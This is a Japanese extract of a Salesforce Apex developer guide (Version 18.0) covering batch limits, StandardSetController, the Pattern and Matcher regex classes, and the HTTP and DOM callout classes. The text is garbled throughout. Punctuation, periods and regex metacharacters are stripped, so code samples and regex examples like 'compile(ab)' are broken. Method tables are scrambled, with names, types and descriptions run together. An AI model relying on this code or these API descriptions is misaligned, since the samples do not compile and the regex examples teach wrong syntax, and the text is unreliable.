bull 最大 5 件のキュー内またはアクティブ一括処理ジョブを Apex で行うことができますVisualforce でも 5 件の一括処理ジョブを行うことができます

bull ユーザは 1 度に最大 5 個のクエリカーソルを開くことができますたとえば5 個のカーソルが開き新しいカーソルを同じユーザが開こうとする場合にクライアント アプリケーションがログインしている場合5 個のカーソルのうち最も古いカーソルが解放されます

メモ 異なる Forcecom 機能のカーソル制限は個別に追跡されますたとえば5 個の Apex クエリーカーソル5 個のバッチカーソル5 個の Visualforce 個を同時に開くことができます

bull DatabaseQueryLocatorオブジェクトでは最大 5000 万件のレコードが返されます5000 万件以上のレコードが返された場合一括処理ジョブは即座に終了し「失敗」とマークされます

bull オプションの scopeパラメータでサイズが指定されていない場合Salesforcecom はQueryLocator が 200 件のバッチに返したレコードを一括処理し各バッチを executeメソッドに渡しますApex ガバナ制限はexecuteの各実行でリセットされます

bull 組織で 24 時間当たり最大 250000 件の executeメソッドを呼び出すことができますbull startexecuteおよび finishメソッドはメソッドごとに 1 回のコールアウトだけ実行できます

インスタンス化

次のいずれかの方法でStandardSetController をインスタンス化することができます

参照 Version 180 | Visualforce クラス | 334

bull sObjects のリストの場合

Listltaccountgt accountList = [SELECT name FROM Account LIMIT 20]ApexPagesStandardSetController ssc = new ApexPagesStandardSetController(accountList)

bull クエリロケータの場合

ApexPagesStandardSetController ssc = newApexPagesStandardSetController(DatabasegetQueryLocator([SELECT nameclosedate FROMOpportunity]))

メソッド

StandardSetController メソッドはStandardSetController のある特定のインスタンスからコールされ処理されます

次の表はStandardSetController のインスタンスメソッドを示します

説明戻り値の型引数名前

元のページ (わかっている場合)またはホームページの PageReference を返します

SystemPageReferencecancel

レコードの最初のページを返しますVoidfirst

最大レコード数の制限以上にセット内にレコード数があるかどうかを示します偽の場合リスト

BooleangetCompleteResult

コントローラを使用して処理できる数以上のレコードがあります最大レコード数は 10000 レコードです

現在のコンテキストにある絞込み条件の ID を返します

StringgetFilterId

現在のページセットの後により多くのレコードがあるかを示します

BooleangetHasNext

現在のページセットの前により多くのレコードがあるかを示します

BooleangetHasPrevious

現在のユーザーに使用できるリストビューのリストを返します

SystemSelectOption[]getListViewOptions

現在のページセットのページ番号を返します最初のページは 1 を返します

IntegergetPageNumber

各ページセットに含まれているレコード数を返します

IntegergetPageSize

選択したれコートへの変更を示す sObject を返します

sObjectgetRecord

現在のページセットの sObject のリストを返します

sObject[]getRecords

参照 Version 180 | Visualforce クラス | 335

説明戻り値の型引数名前

セット内のレコード数を返しますIntegergetResultSize

選択されている sObject のリストを返しますsObject[]getSelected

レコードの最後のページを返しますVoidlast

レコードの次のページを返しますVoidnext

レコードの前のページを返しますVoidprevious

新しいレコードを挿入または変更されている既存のレコードを更新しますこの操作が完了した後

SystemPageReferencesave

元のページ (わかっている場合)またはホームページの PageReference を返します

コントローラの絞り込み条件 ID を設定しますVoidString filterIdsetFilterID

ページ番号を設定しますVoidInteger pageNumbersetpageNumber

各ページセットのレコード数を設定しますVoidInteger pageSizesetPageSize

選択したレコードを設定しますVoidsObjects[]selectedRecords

setSelected

次の例ではStandardSetController オブジェクトをカスタムリストコントローラのコンストラクタでどのように使用できるかを示します

public class opportunityList2Con public ApexPagesStandardSetController setCon get if(setCon == null) setCon = newApexPagesStandardSetController(DatabasegetQueryLocator([select nameclosedate fromOpportunity])) return setCon set public ListltOpportunitygt getOpportunities() return (ListltOpportunitygt) setCongetRecords()

次の Visualforce マークアップは上記のコントローラをどのようにページ内で使用できるかを示します

ltapexpage controller=opportunityList2Congt ltapexpageBlock gt ltapexpageBlockTablevalue=opportunities var=ogt ltapexcolumn value=onamegt ltapexcolumnvalue=oclosedategt ltapexpageBlockTablegt ltapexpageBlockgt ltapexpagegt

パターンおよびマッチャークラス正規表現とは特定の構文を使用して他の文字列との一致を探すために使用する文字列ですApexではPatternおよび Matcher クラスにより正規表現の使用をサポートしています

メモ Apex では正規表現と同様にPattern と Matcher も Java のカウンターパートに基づいていますhttpjavasuncomj2se150docsapiindexhtmljavautilregexPatternhtml を参照してください

参照 Version 180 | パターンおよびマッチャークラス | 336

Pattern と Matcher の使用

Pattern とは正規表現をコンパイルしたものですPattern はMatcher が文字列に対してマッチ処理を実行するのに使用します次の図に示すように多くの Matcher オブジェクトは同じ Pattern オブジェクトを共有します

図 9 多くの Matcher は同じ Pattern オブジェクトから作成します

Apexの正規表現はJava で使用される正規表現の標準に従っていますJava ベースのすべての正規表現文字列を簡単に Apex スクリプトにインポートできます

メモ Salesforcecom では正規表現の入力シーケンスにアクセスできる回数を 1000000 回に制限していますその制限に達するとランタイムエラーが発生します

すべての正規表現は文字列として指定されますほとんどの正規表現はまず Pattern オブジェクトにコンパイルされますString splitメソッドのみがコンパイルされていない正規表現を扱うことができます

一般的に正規表現を Pattern オブジェクトにコンパイルするとPattern オブジェクトは Matcher オブジェクトの作成時に 1 回のみ使用しますその他の処理は Matcher オブジェクトを使用して実行されます例

新しい Pattern オブジェクト「MyPattern」をインスタンス化MyPattern = Patterncompile(ab)

続いて新しい Matcher オブジェクト「MyMatcher」をインスタンス化Matcher MyMatcher =MyPatternmatcher(aaaaab)

システム静的メソッド assert を使用しマッチを確認できますSystemassert(MyMatchermatches())

正規表現を 1 回のみ使用する場合はPattern クラスの matchesメソッドを使用すると表現のコンパイルと文字列に対するマッチ処理を 1 回の呼び出して実行できますたとえば次のコードは上記のコードと同一です

Boolean Test = Patternmatches(ab aaaaab)

リージョンの使用

Matcher オブジェクトはリージョン という入力文字列のサブセットでマッチを探しますMatcher オブジェクトのデフォルトリージョンは常に入力文字列全体ですしかしregionメソッドを使用してリージョンの開始点と終了点を変更できますリージョンの終了点は regionStartおよび regionEndメソッドを使用してクエリを実行し取得できます

参照 Version 180 | パターンおよびマッチャークラス | 337

regionメソッドにはstart 値と end 値の両方が必要です次の表は一方の値のみを設定しもう一方の値を設定しない例について示します

コード例リージョンの終了リージョンの開始

MyMatcherregion(start MyMatcherregionEnd())変更しない明示的に指定

MyMatcherregion(MyMatcherregionStart() end)明示的に指定変更しない

MyMatcherregion(0 end)明示的に指定デフォルト値にリセット

マッチ処理の使用

Matcher オブジェクトはPattern を解釈し文字シーケンスに対するマッチ処理を実行します

Matcher オブジェクトはPattern のmatcherメソッドにより Pattern 内でインスタンス化されます一度作成するとMatcher オブジェクトは次のタイプのマッチ処理の実行に使用できます

bull matcherメソッドを使用したパターンに対する Matcher オブジェクト全体の入力文字列の一致bull lookingAtメソッドを使用したパターンに対する Matcher オブジェクト全体の入力文字列の一致この一

致の際先頭から開始するもののリージョン全体のマッチングは行いませんbull findメソッドを使用したパターンに一致する次のサブ文字列のための Matcher オブジェクトの入力文字列

のスキャン

それぞれのメソッドは成功または失敗を表す Boolean を返します

これらのメソッドのいずれかを使用した後に次の Matcher クラスメソッドを使用して前回の一致に関する詳細情報 (検索されたものなど) を取得できます

bull end 一致があるとこのメソッドは一致文字列の中で最後の文字が一致した後ろの位置を返しますbull start 一致があるとこのメソッドは一致文字列の中の最初の文字が一致した位置を返しますbull group 一致があるとこのメソッドは一致したサブシーケンスを返します

境界の使用

デフォルトではリージョンはアンカー付き境界で区切られていますつまりリージョンの境界が入力文字列の先頭から末尾まで移動したとしてもラインアンカー (^または $など) がリージョンの境界に一致しますリージョンがuseAnchoringBoundsメソッドでアンカー付きリージョンを使うかどうかを指定できますデフォルトではリージョンは常にアンカー付き境界を使用しますuseAnchoringBoundsをfalseに設定した場合ラインアンカーは入力文字列の本当の末尾にしか一致しません

デフォルトではリージョンの外にあるすべてのテキストは検索されませんつまりリージョンには不透明な境界があるということになりますしかしリージョン外にあるテキストの検索には透明な境界を使用することもできます透明な境界はリージョン内に入力文字列全体が含まれていない場合のみ使用しますuseAnchoringBoundsメソッドを使用しリージョンの境界のタイプを指定できます

次の文字列の検索でリージョンには「STRING」という単語しか含まれていないとします

This is a concatenated STRING of cats and dogs

参照 Version 180 | パターンおよびマッチャークラス | 338

「cat」という単語の検索では透明な境界が設定されていない限り一致しません

キャプチャグループの理解

マッチング処理においてパターンと一致する入力文字列のそれぞれのサブ文字列が保存されますマッチするサブ文字列のことをキャプチャグループと呼びます

キャプチャグループは左から右への左かっこの数を数えることで順番をつけますたとえば正規表現文字列((A)(B(C)))ではキャプチャグループは 4 つあります

1 ((A)(B(C)))

2 (A)

3 (B(C))

4 (C)

グループ 0 は常に表現全体を表します

グループに関連付けられた取得された入力は常に最も最近に一致したグループのサブ文字列ですこのサブ文字列はMatcher クラスのマッチ処理の 1 つが返した文字列です

マッチ処理の 1 つを使用しグループを再度評価した場合2 回目の評価が失敗した場合は前に取得した値がある場合はその値が保持されます

Pattern と Matcher 例

Matcher クラスの endメソッドは最後の文字が一致した後のマッチ文字列の位置を返しますこの値は文字列を解析中に一致する部分が見つかった後次の一致を見つけるなど別の処理を行う場合に使用します

正規表現構文ではは 1 つ一致または一致がないことを意味しますが+は 1 つ以上一致したことを示します

次の例ではMatcher オブジェクトと共に渡された文字列がパターンに一致しますこれは(a(b))が文字列abから aそれに bに 1 つだけ続く文字列に一致するためにですその後最後の aから aそれにbが 1 つも続かない文字列に一致します

pattern myPattern = patterncompile((a(b))+) matcher myMatcher = myPatternmatcher(aba)Systemassert(myMatchermatches() ampamp myMatcherhitEnd())

グループが 2 つありますグループ 0 は常にパターン全体グループ 1 には 最も最近一致したサブ文字列が含まれますこの例では「a」です よって次は真となります

Systemassert(myMatchergroupCount() == 2 ampamp myMatchergroup(0) == aba ampamp myMatchergroup(1)== a)

グループ 0 はパターン全体となるため次は真となります

Systemassert(myMatcherend() == myMatcherend(0))

最後の文字が一致した後のオフセットは end で返され 両方のグループが最後の入力文字を使用しているためオフセットは 3 となります オフセットは 0 から始まりますよって次もまた真となります

Systemassert(myMatcherend() == 3 ampamp myMatcherend(0) == 3 ampamp myMatcherend(1) == 3)

参照 Version 180 | パターンおよびマッチャークラス | 339

次の例では電子メールアドレスが正規化され似たような電子メールアドレスで異なるトップレベルドメイン名やサブドメインがある場合重複が報告されますたとえばjohnfairwaysmithcoは johnsmithcoに正規化されます

class normalizeEmailAddresses

public void hasDuplicatesByDomain(Lead[] leads) このパターンは電子メールアドレスを「johnsmithcocom」または「johnsmithco」から 「johnsmithco」に短縮します PatternemailPattern = Patterncompile((lt=)(([w]+[w]+$) [w]+)|([w]+$)) emailkey からリードへのセットを定義しますMapltStringLeadgt leadMap = new MapltStringLeadgt()for(Lead leadleads) 電子メールが null 値のリードは無視しますif(leademail = null) 正規表現を用いてキーを生成しますString emailKey =emailPatternmatcher(leademail)replaceAll() バッチの重複を探しますif(leadMapcontainsKey(emailKey)) leademailaddError(Duplicate found in batch) else キーを重複キーカスタム項目に保持しますleadDuplicate_Key__c = emailKey leadMapput(emailKeylead) データベース内で重複を探しますfor(Lead[] leadsCheck[select Id duplicate_key__cfrom Lead where duplicate_key__c IN leadMapkeySet()]) for(Lead leadleadsCheck)

重複がある場合エラーを追加しますif(leadMapcontainsKey(leadDuplicate_Key__c))leadMapget(leadDuplicate_Key__c)emailaddError(Duplicate found in salesforce(id +leadid + ))

Pattern メソッド

次にPattern のシステム静的メソッドを示します

説明戻り値の型引数名前

正規表現を Pattern オブジェクトにコンパイルします

Pattern オブジェクトString regExpcompile

正規表現 regExpをコンパイルしsに対するマッチ

BooleanString regExp

String s

matches

処理を実行します文字列sが正規表現に一致する場合は真をそれ以外は偽を返します

パターンを複数回使用する場合コンパイルは一度だけ実行し再利用することによりこのメソッドを毎回起動するよりも効率的に処理できます

次のコード例にご注意ください

Patternmatches(regExpinput)

参照 Version 180 | パターンおよびマッチャークラス | 340

説明戻り値の型引数名前

このコードは次のコード例と同じ結果を生成します

Patterncompile(regex)

matcher(input)matches()

リテラルパターンのように文字列sに一致するパター

StringString squote

ンを作成するのに使用する文字列を返します入力文字列の $や ^などのメタキャラクタやエスケープシーケンスは特に意味のないリテラル文字として扱われます

次にPattern のインスタンスメソッドを示します

説明戻り値の型引数名前

この Pattern オブジェクトに対し入力文字列 regExpに一致する Matcher オブジェクトを作成します

Matcher オブジェクト

String regExpmatcher

この Pattern オブジェクトがコンパイルされた正規表現を返します

Stringpattern

このパターンに一致する文字列のサブ文字列を含むリストを返します

このサブ文字列は文字列の中で発生した順序でリストに記述されますsが

String[]String ssplit

パターンに一致しない場合結果リストには元の文字列を含む要素が 1 つだけ含まれます

文字列の各サブ文字列を含むリストを返しますこのサブ文字列はこのパ

String[]String regExp

Integer limit

split

ターンに一致する正規表現 regExpまたは文字列の末尾に達したことのいずれかにより終了します

オプションの limitパラメータはパターンが適用された回数を制御するためリストの長さに影響を与えます

参照 Version 180 | パターンおよびマッチャークラス | 341

説明戻り値の型引数名前

bull limitが 0 より大きい場合パターンは最大 limit - 1 回適用されたことになりますまたリストの長さは最大 limitとなりリストの最後のエントリには最後に一致した区切り文字移行のすべての入力が含まれます

bull limitが正の値でない場合パターンを何度でも適用することが可能となりリストの長さも任意となります

bull limitが 0 の場合パターンは何度でも適用することが可能となりリストの長さも任意となりますが残りの続く空の文字列は破棄されます

Matcher メソッド

次にMatcher のシステム静的メソッドを示します

説明戻り値の型引数名前

指定された文字列 sをリテラルに置き換える文字列を返します返された文字列の文字はsの文

StringString squoteReplacement

字シーケンスに一致します入力文字列の $や ^

などのメタキャラクタやエスケープシーケンスは特に意味のないリテラル文字として扱われます

次にMatcher のインスタンスメソッドを示します

説明戻り値引数名前

最後に一致した文字の後の位置を返します

Integerend

前のマッチ処理の中でグループgroupIndexが取得したサブシーケンス

IntegerInteger groupIndexend

の最後の文字の後の位置を返します一致が成功したもののグループ自体が何にも一致しない場合はメソッドの戻り値は -1 となります

取得されたグループは左から右へ1から順に索引が付けられますグループ

参照 Version 180 | パターンおよびマッチャークラス | 342

説明戻り値引数名前

0 はパターン全体を表しますよってmend(0)は mend()と同じ意味となります

「キャプチャグループの理解」 (ページ339)を参照してください

パターンに一致する入力シーケンスの次のサブシーケンスを検索します入力

Booleanfind

シーケンスのサブシーケンスが Matcherオブジェクトのパターンに一致する場合このメソッドは真を返します

このメソッドは Matcher オブジェクトのリージョンの最初から開始しますまたは前のメソッド呼び出しが成功しMatcher オブジェクトがそれ以降リセットされていない場合前のマッチ処理で一致しなかった最初の文字から開始します

マッチ処理が成功した場合startendgroupメソッドを使用してさらに多くの情報を取得できます

詳細は「リージョンの使用」 (ページ337)を参照してください

Matcher オブジェクトをリセットしパターンに一致する入力シーケンスの次の

BooleanInteger groupfind

サブシーケンスを検索します入力シーケンスのサブシーケンスが Matcher オブジェクトのパターンに一致する場合このメソッドは真を返します

マッチ処理が成功した場合startendgroupメソッドを使用してさらに多くの情報を取得できます

前のマッチ処理で返された入力サブシーケンスを返します

(a)などグループによっては空の文字列にも一致します入力された空の文

Stringgroup

字列とそのようなグループが一致した場合このメソッドは空の文字列を返します

前のマッチ処理の中で指定したグループgroupIndexが取得した入力サブシー

StringInteger groupIndexgroup

参照 Version 180 | パターンおよびマッチャークラス | 343

説明戻り値引数名前

ケンスを返します一致が成功したものの指定されたグループが入力サブシーケンスのどの部分にも一致しない場合はnull値を返します

取得されたグループは左から右へ1から順に索引が付けられますグループ0 はパターン全体を表しますよってmgroup(0)は mgroup()と同じ意味となります

(a)などグループによっては空の文字列にも一致します入力された空の文字列とそのようなグループが一致した場合このメソッドは空の文字列を返します

「キャプチャグループの理解」 (ページ339)を参照してください

一致するオブジェクトのパターン内のキャプチャグループ数を返しますグ

IntegergroupCount

ループ 0 はパターン全体を表しこの数には含まれません

「キャプチャグループの理解」 (ページ339)を参照してください

Matcher オブジェクトにアンカー付き境界がある場合は真それ以外は偽を返し

BooleanhasAnchoringBounds

ますデフォルトではMatcher オブジェクトはアンカー付き境界リージョンを使用します

Matcher オブジェクトがアンカー付き境界を使用している場合Matcher オブジェクトのリージョンの境界は ^ や $などのラインアンカー行の開始と終了に一致します

詳細は「境界の使用」 (ページ 338)を参照してください

Matcher オブジェクトに透明な境界がある場合は真不透明な境界を使用してい

BooleanhasTransparentBounds

る場合は偽を返しますデフォルトではMatcher オブジェクトは不透明なリージョン境界を使用します

参照 Version 180 | パターンおよびマッチャークラス | 344

説明戻り値引数名前

詳細は「境界の使用」 (ページ 338)を参照してください

この Matcher オブジェクトが最後に実行したマッチ処理で検索エンジンで入力

BooleanhitEnd

の最後が見つかった場合は真を返しますこのメソッドが真を返す場合入力が多ければ最後の検索の結果が異なっていた可能性があります

パターンに対しリージョンの先頭から入力シーケンスの一致を確認します

matchesメソッドと同様にこのメソッドは必ずリージョンの先頭から開始しま

BooleanlookingAt

す一方異なる点はリージョン全体が一致する必要がないことです

マッチ処理が成功した場合startendgroupメソッドを使用してさらに多くの情報を取得できます

「リージョンの使用」 (ページ 337)を参照してください

パターンに対してリージョン全体が一致するかどうかを確認します

マッチ処理が成功した場合startendgroupメソッドを使用してさらに多くの情報を取得できます

Booleanmatches

「リージョンの使用」 (ページ 337)を参照してください

この Matcher オブジェクトが作成されたPattern オブジェクトを返します

Pattern オブジェクト

pattern

この Matcher オブジェクトのリージョンの限界を設定しますリージョンは一致

Matcher オブジェクト

Integer start

Integer end

region

を検索する入力シーケンスの一部ですこのメソッドは最初に Matcher オブジェクトをリセットしstartで指定された索引で開始しendで指定された索引で終了するよう設定します

使用されている透明な境界によりアンカーのような特定のコンストラクトがリージョンの境界でまたはその周りで異なった動作をする可能性があります

参照 Version 180 | パターンおよびマッチャークラス | 345

説明戻り値引数名前

「リージョンの使用」 (ページ 337)および「境界の使用」 (ページ 338)を参照してください

この Matcher オブジェクトのリージョンの終了索引 (含まない) を返します

「リージョンの使用」 (ページ 337)を参照してください

IntegerregionEnd

この Matcher オブジェクトのリージョンの開始索引 (含む) を返します

「リージョンの使用」 (ページ 337)を参照してください

IntegerregionStart

入力シーケンスのすべてのサブシーケンスを置き換え文字列 sで置き換えます

このメソッドは最初に Matcher オブジェクトをリセットしパターンの一致を探

StringString sreplaceAll

しながら入力シーケンスをスキャンしますマッチのどの部分にも含まれない文字は結果の文字列に直接追加されますそれぞれの一致は置き換え文字列により結果の中で置き換えられます置き換え文字列には取得されたサブシーケンスへの参照が含まれている場合があります

置き換え文字列の円記号 () とドル記号($) は文字列がリテラル置き換え文字列として処理された場合は異なる結果となる場合がありますドル記号は取得されたサブシーケンスへの参照円記号は置き換え文字列の中でリテラル文字をエスケープするために使用します

このメソッドを起動するとMatcher オブジェクトの状態が変わりますMatcher オブジェクトをさらにマッチ処理で使用する場合まずリセットする必要があります

正規表現 ab入力文字列「aabfooaabfooabfoob」 と置き換え文字列 「-」 を与えるとその表現のMatcher オブジェクトに対してこのメ

参照 Version 180 | パターンおよびマッチャークラス | 346

説明戻り値引数名前

ソッドを呼び出すと文字列「-foo-foo-foo-」 を導き出します

置き換え文字列 sのパターンに一致する入力シーケンスの最初のサブシーケンスを置き換えます

置き換え文字列の円記号 () とドル記号($) は文字列がリテラル置き換え文字

StringString sreplaceFirst

列として処理された場合は異なる結果となる場合がありますドル記号は取得されたサブシーケンスへの参照円記号は置き換え文字列の中でリテラル文字をエスケープするために使用します

このメソッドを起動するとMatcher オブジェクトの状態が変わりますMatcher オブジェクトをさらにマッチ処理で使用する場合まずリセットする必要があります

正規表現 dog入力文字列「zzzdogzzzdogzzz」置き換え文字列 「cat」 を与えるとその表現のMatcher オブジェクトに対してこのメソッドを呼び出すと文字列「zzzcatzzzdogzzz」 を導き出します

入力が増えるとポジティブマッチがネガティブマッチになる場合真を返します

このメソッドが真を返しかつ一致が見つかった場合入力が増えると一致しなくなる場合があります

BooleanrequireEnd

このメソッドが偽を返しかつ一致が見つかった場合入力が増えると一致結果が変わる場合がありますが一致しなくなることはありません

一致が見つからなかった場合requireEndは意味を持たなくなります

この Matcher オブジェクトをリセットしますMatcher オブジェクトをリセット

Matcher オブジェクト

reset

すると明示的な状態情報はすべて破棄されます

参照 Version 180 | パターンおよびマッチャークラス | 347

説明戻り値引数名前

Matcher オブジェクトがアンカー付き境界を使用してもしていなくてもメソッドは変わりませんアンカー付き境界を変更するにはuseAnchoringBounds

メソッドを明示的に使用する必要があります

詳細は「境界の使用」 (ページ 338)を参照してください

この Matcher オブジェクトを新しい入力シーケンス sでリセットします

MatcherString sreset

Matcher オブジェクトをリセットすると明示的な状態情報はすべて破棄されます

前のマッチ処理の最初の文字の開始索引を返します

Integerstart

前のマッチ処理の中でgroupIndexが指定したグループが取得したサブシーケ

IntegerInteger groupIndexstart

ンスの開始索引を返します取得されたグループは左から右へ1 から順に索引が付けられますグループ 0 はパターン全体を表しますよってmstart(0)は mstart()と同じ意味となります

「キャプチャグループの理解」 (ページ339)を参照してください

この Matcher オブジェクトのリージョンのアンカー付き境界を設定しますデ

Matcher オブジェクト

Boolean buseAnchoringBounds

フォルトではMatcher オブジェクトはアンカー付き境界リージョンを使用します

このメソッドに trueを指定してもMatcher オブジェクトはアンカー付き境界を使用しますfalseを指定した場合非アンカー付き境界を使用します

Matcher オブジェクトがアンカー付き境界を使用している場合Matcher オブジェクトのリージョンの境界は ^ や $などのラインアンカー行の開始と終了に一致します

詳細は「境界の使用」 (ページ 338)を参照してください

参照 Version 180 | パターンおよびマッチャークラス | 348

説明戻り値引数名前

Matcher オブジェクトが一致を探すのに使用する Pattern オブジェクトを変更し

Matcher オブジェクト

Pattern patternusePattern

ますこのメソッドによりMatcher オブジェクトは最後の一致のグループについての情報を失います入力でのMatcher オブジェクトの位置は保持されます

この Matcher オブジェクトの透明な境界を設定しますデフォルトでは

Matcher オブジェクト

Boolean buseTransparentBounds

Matcher オブジェクトはアンカー付き境界リージョンを使用します

このメソッドに trueを指定するとMatcher オブジェクトは透明な境界を使用しますfalseを指定すると不透明な境界を使用します

詳細は「境界の使用」 (ページ 338)を参照してください

HTTP (RESTful)サービスクラスRESTfulサービスとも呼ばれる以下のクラスを使ったHTTPサービスにアクセス可能です

bull HTTPクラスbull DOM クラスbull Cryptoクラスbull EncodingUtilクラス

HTTPクラス

これらのクラスは一般的なHTTP要求応答の機能を表示します

bull HttpクラスHTTP要求と反応を開始するためにこのクラスを使いますbull HttpRequestクラスプログラムに基づいてGETPOSTPUTおよびDELETEのようなHTTP要求を作成

するためにこのクラスを使ってくださいbull HttpResponseクラスHTTPによって戻されたHTTP反応を処理するためにこのクラスを使ってください

HttpRequestとHttpResponseは以下のエレメントをサポートします

bull HttpRequest

- GETPOSTPUTDELETETRACECONNECTHEADおよびOPTIONSなどのHTTP要求型- 必要に応じて要求ヘッダー- 読み取りおよび接続タイムアウト- 必要に応じてリダイレクト- メッセージ本文の内容

参照 Version 180 | HTTP (RESTful)サービスクラス | 349

bull HttpResponse

- HTTPステータスコード- 必要に応じて要求ヘッダー- 応答本文の内容

以下の例はgetContent方式に送られたurlの値によって指定された外部サーバになされたHTTP GET要求を示します この例はまた以下の返された応答の本文へのアクセスも示します

public class HttpCalloutSample

Pass in the endpoint to be used using the string url public String getContent(Stringurl)

Instantiate a new http object Http h = new Http()

Instantiate a new HTTP request specify the method (GET) as well as the endpointHttpRequest req = new HttpRequest() reqsetEndpoint(url) reqsetMethod(GET)

Send the request and return a response HttpResponse res = hsend(req) returnresgetBody()

Apexまたはその他の機能を使ってエンドポイントまたはリダイレクトエンドポイントから外部サーバにアクセスするにはSalesforcecomユーザインターフェース内の認証されたリモートサイトのリストをリモートサイトに追加する必要がありますそうするためにはSalesforcecomにログインし設定セキュリティのコントロールリモートサイトの設定を選択します

メモ AJAXプロキシはリダイレクトと認証チャレンジ(401407応答)を自動的に処理します AJAX プロキシの詳細は『AJAX Toolkit documentation』を参照してください

DOM クラスを使用してHttpRequestで作成された要求または HttpResponseがアクセスした応答の補文のXML コンテンツを解析します

Httpクラス

HTTP要求と応答を開始するためにHttpクラスを使ってくださいHttpクラスには以下の公開方式が含まれます

説明戻り値の型引数名前

HttpRequestを送信して応答を返しますSystemHttpResponseHttpRequestrequest

send

オブジェクトのプロパティを表示し特定する文字列を返します

StringtoString

HttpRequestクラス

プログラムに基づいてGETPOSTPUTおよびDELETEのようなHTTP要求を作成するためにHttpRequest

クラスを使ってください

DOM クラスを使用してHttpRequestで作成された要求の本文の XML コンテンツを解析します

HttpRequestクラスには以下の公開方式が含まれます

参照 Version 180 | HTTP (RESTful)サービスクラス | 350

説明戻り値の型引数名前

この応答の本文を取得してしますStringgetBody

この要求のための本文の内容を設定します最大 1 MB です

VoidString bodysetBody

要求の本文を DOM ドキュメントとして取得します以下のショートカットとしてそれを使ってくださいString xml = httpRequestgetBody()DomDocument domDoc = newDomDocument(xml)

DomDocumentgetBodyDocument

この要求のための本文の内容を設定しますコンテンツは DOM ドキュメントを示します最大 1 MB です

VoidDomDocumentdocument

setBodyDocument

trueの場合要求の本文は圧縮されfalse

の場合は圧縮されませんBooleangetCompressed

trueの場合本文内のデータはgzip圧縮フォーマットにてエンドポイントに提供されます

VoidBoolean flagsetCompressed

falseの場合非圧縮フォーマットが使用されます

この要求のための外部サーバーのエンドポイント用のURLを取得します

StringgetEndpoint

この要求のための外部サーバーのエンドポイント用のURLを設定します

VoidString endpointsetEndpoint

要求ヘッダーの内容を取得しますStringString keygetHeader

要求ヘッダーの内容を設定します制限 100KB

VoidString key

String Value

setHeader

HttpRequestによって使用される方法のタイプを返します例 GETPOSTTRACEPUTHEADまたはDELETE

StringgetMethod

HTTP要求によって使用される方法のタイプを設定します例 GETPOSTTRACE

String methodsetMethod

PUTHEADまたはDELETE要求オプションの設定にもこの方式は使えます

このメソッドは廃止されます代わりにsetClientCertificateNameを使用してください

認証用のクライアント証明書をサーバが必要とする場合クライアント証明書PKCS12キーストアとパスワードを設定します

VoidString clientCert

String password

setClientCertificate

参照 Version 180 | HTTP (RESTful)サービスクラス | 351

説明戻り値の型引数名前

外部サービスに認証用のクライアント証明書が必要な場合証明書の名前を設定します

VoidString certDevNamesetClientCertificateName

「HTTP 要求での証明書の使用 (ページ 183)」を参照してください

要求のタイムアウトをミリ秒単位で設定します値は 1 60000 ミリ秒です

VoidInteger timeoutsetTimeout

この要求と使用方式用の外部サーバのエンドポイントに関するURLが含まれた文字列が返り

StringtoString

ます例 Endpoint=httpwwwqaresponderinfoMethod=POST

以下の例は要求を伴った認証ヘッダーの使い方と応答の処理を示しています

public class AuthCallout

public void basicAuthCallout() HttpRequest req = new HttpRequest()reqsetEndpoint(httpwwwyahoocom) reqsetMethod(GET)

Specify the required user name and password to access the endpoint As well as theheader and header information

String username = myname String password = mypwd

Blob headerValue = BlobvalueOf(username + + password) String authorizationHeader =BASIC + EncodingUtilbase64Encode(headerValue) reqsetHeader(AuthorizationauthorizationHeader)

Create a new http object to send the request object A response object is generatedas a result of the request

Http http = new Http() HTTPResponse res = httpsend(req) Systemdebug(resgetBody())

圧縮

送信するデータを圧縮する必要がある場合は以下のサンプルにて説明するように setCompressedを使ってください

HttpRequest req = new HttpRequest() reqsetEndPoint(my_endpoint) reqsetCompressed(true)reqsetBody(some post body)

圧縮フォーマットで応答が返ってくるならgetBodyは自動的にフォーマットを認識し解凍し解凍された値でそれを返します

HttpResponseクラス

Httpクラスによって戻されたHTTP応答を処理するために HttpResponseクラスを使用します

DOM クラスを使用して HttpResponseがアクセスした応答の本文の XML コンテンツを解析します

HttpResponseクラスには以下の公開方式が含まれます

参照 Version 180 | HTTP (RESTful)サービスクラス | 352

説明戻り値の型引数名前

応答内の戻された本文を取得してくださいStringgetBody

応答で返された本文を DOM ドキュメントとして取得します以下のショートカットとしてそれを使ってくださいString xml = httpResponsegetBody()DomDocument domDoc = new DomDocument(xml)

DomDocumentgetBodyDocument

応答ヘッダーの内容を取得してくださいStringString keygetHeader

応答内の戻されたヘッダーキー配列を取得しますString[]getHeaderKeys

応答のために戻されたステータスメッセージを取得してください

StringgetStatus

応答内の戻されたステータスコードの値を取得してください

IntegergetStatusCode

コールアウト応答の本文を解析するXmlStreamReader(XmlStreamReaderクラス)を戻します以下のショートカットとしてそれを使ってください

String xml = httpResponsegetBody()XmlStreamReader xsr = newXmlStreamReader(xml)

XmlStreamReadergetXmlStreamReader

完全な例はgetXmlStreamReader例 (ページ 353)を参照してください

以下のような応答内に戻されたステータスメッセージとステータスコードを戻しますStatus=OK StatusCode=200

StringtoString

以下のgetXmlStreamReader例内で内容は外部Webサーバから取得されXMLはXmlStreamReaderを使って解析されます

public class ReaderFromCalloutSample

public void getAndParse()

Get the XML document from the external server Http http = new Http() HttpRequest req =new HttpRequest() reqsetEndpoint(httpwwwcheenathcomtutorialsample1buildxml)reqsetMethod(GET) HttpResponse res = httpsend(req)

Log the XML content Systemdebug(resgetBody())

Generate the HTTP response as an XML stream XmlStreamReader reader =resgetXmlStreamReader()

Read through the XML while(readerhasNext()) Systemdebug(Event Type +readergetEventType()) if (readergetEventType() == XmlTagSTART_ELEMENT) Systemdebug(readergetLocalName()) readernext()

参照 Version 180 | HTTP (RESTful)サービスクラス | 353

DOM クラス

DOM (ドキュメントオブジェクトモデル) クラスを使用してXML コンテンツを解析または生成できますこれらのクラスを使用してXML コンテンツを処理できますある一般的なアプリケーションではクラスを使用してHttpRequestで作成された要求の本文を生成するかHttpResponseがアクセスした応答を解析しますDOM はXML ドキュメントをノードの階層として示します分岐ノードで子ノードがあるノードもあれば葉ノードで子ノードがないものもあります

DOM クラスは Dom名前空間に含まれます

Documentクラス を使用してXML ドキュメントのコンテンツを処理します

XmlNodeクラスを使用して XML ドキュメントのノードを処理しますDocumentクラス

Documentクラスを使用して XML コンテンツを処理しますHttpRequestの要求の本文を作成したりHttpResponseがアクセスした応答を解析できます

XML 名前空間

